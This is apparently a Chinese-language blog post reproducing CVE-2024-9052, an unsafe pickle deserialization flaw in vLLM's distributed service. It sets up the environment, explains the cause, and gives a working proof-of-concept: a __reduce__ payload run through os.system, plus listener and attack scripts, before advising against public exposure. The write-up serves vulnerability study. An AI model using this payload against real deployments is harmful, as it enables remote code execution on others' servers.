CVE-2024-9052复现(vllm 反序列化漏洞复现)

2025-03-17

1. 环境搭建

1.1 anaconda

在anaconda官网https://www.anaconda.com/download中填写邮件地址,随后点击邮件的连接下载相应版本即可
随后激活该环境

conda create -n vllm_beam python=3.10 -y  #创建一个虚拟环境,用于vllm漏洞复现
conda activate vllm_beam # 环境切换
export TMPDIR=/home/kali/Desktop/anaconda/  #通过情况下,linux虚拟机中的/tmp挂载的文件系统大小是1G左右,无法满足vllm相关内容的所有下载,因此需要切换临时目录。
pip3 install https://github.com/vllm-project/vllm/releases/download/v0.6.4.post1/vllm-0.6.4.post1+cu118-cp38-abi3-manylinux1_x86_64.whl --extra-index-url https://download.pytorch.org/whl/cu118 -i https://pypi.tuna.tsinghua.edu.cn/simple

2. 漏洞介绍

vllm是一个快速且易于使用的LLM推理和服务库,它结合 iterative-level schedule (continuous batching) 和 PagedAttention 注意力算法以提高服务的吞吐量。前者(iterative-level schedule)以单轮迭代的方式对用户的请求进行处理,即 LLM 生成一个 token 后会重新调度并挑选要下一轮要处理的请求。后者(PagedAttention)受操作系统虚拟内存和分页思想启发,将原本连续的 KV cache 存储在不连续的空间,以避免 KV cache 带来的显存浪费。除开高性能,简单易用也是它的优势之一。
漏洞编号: CVE-2024-9052
点开连接,我们会发现该cve编号已经被保留了,具体的细节已经不见。
具体原因不详,我猜测可能是因为vllm社区并不认为这是一个漏洞;这么猜测的原因很简单,即使是现在最新的vllm版本,代码还没有被修改。

3. 漏洞成因

vllm开启分布式服务时,未对接收的序列化对象进行相应的校验、过滤,导致攻击者可以向vllm分布式服务发送恶意序列化对象造成RCE.
问题出现在vllm.distributed.GroupCoordinator.recv_object函数当中
在该函数中,直接使用pickle.loads反序列化用户上传的json字符串为python对象。而模式方法会在一些特定的时候被执行,例如__reduce__,使用pickle.loads()进行反序列化时,会自动调用魔术方法__reduce__,因此在该方法中直接返回执行恶意指令,造成RCE。

class payload:
    def __reduce__(self):
        return (__import__('os').system, ("touch /tmp/1.txt",))

4. 漏洞复现

本地启动一个vllm分布式服务

from vllm.distributed import (ensure_model_parallel_initialized,
                              init_distributed_environment, get_world_group)
import vllm
 
init_distributed_environment(backend="gloo", distributed_init_method="tcp://0.0.0.0:29500", rank=1, world_size=2)
vllm.distributed.GroupCoordinator.recv_object(get_world_group(), src=0)

再编写一个攻击脚本,其代码如下:

from vllm.distributed import (ensure_model_parallel_initialized,
                              init_distributed_environment, get_world_group)
import vllm
 
class payload:
    def __reduce__(self):
        return (__import__('os').system, ("touch 1.txt",))
 
init_distributed_environment(backend="gloo", distributed_init_method="tcp://127.0.0.1:29500", rank=0, world_size=2)
vllm.distributed.GroupCoordinator.send_object(get_world_group(), obj=payload(), dst=1)

执行完成后,server目录下将出现1.txt文件

5. 启示

使用vllm时,需要注意不要将分布式服务暴露在公网上;如果要暴露,也要构建正确的鉴权机制。